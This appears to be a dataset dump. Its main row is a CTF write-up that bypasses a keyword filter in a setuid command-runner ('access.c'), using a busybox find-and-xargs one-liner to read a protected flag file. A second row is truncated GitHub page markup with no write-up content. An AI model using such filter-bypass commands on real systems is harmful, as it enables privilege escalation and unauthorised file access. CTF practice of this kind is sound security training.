text_chunk
stringlengths
151
703k
# ▼▼▼Shell-JAIL-2(PWN:250) 136/605=22.5%▼▼▼ ```Download the login private key, then run:ssh -p 31337 -i login [email protected]redundant servers on 31338 and 31339made by Ben Chaney file :ssh key `login` ``` $ **chmod 600 login** $ **ssh -p 31337 -i login [email protected]** ↓ ssh login --- 54cd9d6b47ef:/home/pc_owner$ **ls -l** ↓ ```total 20-r-sr-sr-x 1 pc_owner pc_owner 10912 Apr 13 08:03 access-r--r--r-- 1 pc_owner pc_owner 1030 Apr 13 05:39 access.c-r--r----- 1 pc_owner pc_owner 28 Apr 13 05:39 flag.txt``` --- 54cd9d6b47ef:/home/pc_owner$ **cat flag.txt** ↓ ```cat: can't open 'flag.txt': Permission denied``` --- 54cd9d6b47ef:/home/pc_owner$ **cat access.c** ↓ ```#include <sys/types.h>#include <unistd.h>#include <stdio.h>#include <stdlib.h>#include <strings.h>#include <string.h> char *gen_cmd(int argc, const char **argv){ size_t total_size = 1; for(int it = 1; it < argc; it++){ total_size+= strlen(argv[it]); } char *ret = malloc(total_size); total_size = 0; for(int it = 1; it < argc; it++){ size_t len = strlen(argv[it]); memcpy(ret+total_size, argv[it], len); total_size+= len; ret[total_size] = ' '; total_size++; } ret[total_size] = '\0'; return ret;} int filter(const char *cmd){ int valid = 1; valid &= strstr(cmd, "*") == NULL; valid &= strstr(cmd, "sh") == NULL; valid &= strstr(cmd, "/") == NULL; valid &= strstr(cmd, "home") == NULL; valid &= strstr(cmd, "pc_owner") == NULL; valid &= strstr(cmd, "flag") == NULL; valid &= strstr(cmd, "txt") == NULL; return valid;} int main(int argc, const char **argv){ setreuid(UID, UID); char *cmd = gen_cmd(argc, argv); if (!filter(cmd)){ exit(-1); } setenv("PATH", "", 1); system(cmd);}``` ↓ ```・You can execute commands through access・There are unusable characters "*", "sh", "/", "home","pc_owner","flag","txt" by the filter・Environment variable PATH is invalidated``` --- 54cd9d6b47ef:/bin$ **cd /bin** 54cd9d6b47ef:/bin$ **ls** ```ash dumpkmap ipcalc mpstat setprivbase64 echo kbd_mode mv setserialbash ed kill netstat shbashbug egrep link nice sleepbbconfig false linux32 pidof statbusybox fatattr linux64 ping sttycat fdflush ln ping6 suchgrp fgrep login pipe_progress syncchmod fsync ls printenv tarchown getopt lzop ps touchconspy grep makemime pwd truecp groups mkdir reformime umountdate gunzip mknod rev unamedd gzip mktemp rm usleepdf hostname more rmdir watchdmesg ionice mount run-parts zcatdnsdomainname iostat mountpoint sed54cd9d6b47ef:/bin$ ``` --- 54cd9d6b47ef:/bin$ **/home/pc_owner/access 'busybox find .. -size 28c|busybox xargs cat'** ↓ `wpi{p0s1x_sh3Lls_ar3_w13rD}`
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf-writeups/2018/swampctf/Power_QWORD at master · phieulang1993/ctf-writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="94CF:76EE:1CDEC4C5:1DBC893C:641226C8" data-pjax-transient="true"/><meta name="html-safe-nonce" content="188e84c48a5d6e527c97c4e59a645b29e4cd918c3af799d43de01dbdbf4dab42" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5NENGOjc2RUU6MUNERUM0QzU6MURCQzg5M0M6NjQxMjI2QzgiLCJ2aXNpdG9yX2lkIjoiODYyMTc0NDg5NzUxOTg3OTEyIiwicmVnaW9uX2VkZ2UiOiJmcmEiLCJyZWdpb25fcmVuZGVyIjoiZnJhIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="24e27efdfcfc96752c88aeaad46407ed1b143ca2c87dd805047609802abcd4e6" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:119324220" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="CTF writeups. Contribute to phieulang1993/ctf-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/e4ffe5f97436ab0e5b340b52bcb75ec1777ddf62f29564960a11eff5edecb2bc/phieulang1993/ctf-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeups/2018/swampctf/Power_QWORD at master · phieulang1993/ctf-writeups" /><meta name="twitter:description" content="CTF writeups. Contribute to phieulang1993/ctf-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/e4ffe5f97436ab0e5b340b52bcb75ec1777ddf62f29564960a11eff5edecb2bc/phieulang1993/ctf-writeups" /><meta property="og:image:alt" content="CTF writeups. Contribute to phieulang1993/ctf-writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeups/2018/swampctf/Power_QWORD at master · phieulang1993/ctf-writeups" /><meta property="og:url" content="https://github.com/phieulang1993/ctf-writeups" /><meta property="og:description" content="CTF writeups. Contribute to phieulang1993/ctf-writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/phieulang1993/ctf-writeups git https://github.com/phieulang1993/ctf-writeups.git"> <meta name="octolytics-dimension-user_id" content="13719185" /><meta name="octolytics-dimension-user_login" content="phieulang1993" /><meta name="octolytics-dimension-repository_id" content="119324220" /><meta name="octolytics-dimension-repository_nwo" content="phieulang1993/ctf-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="119324220" /><meta name="octolytics-dimension-repository_network_root_nwo" content="phieulang1993/ctf-writeups" /> <link rel="canonical" href="https://github.com/phieulang1993/ctf-writeups/tree/master/2018/swampctf/Power_QWORD" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 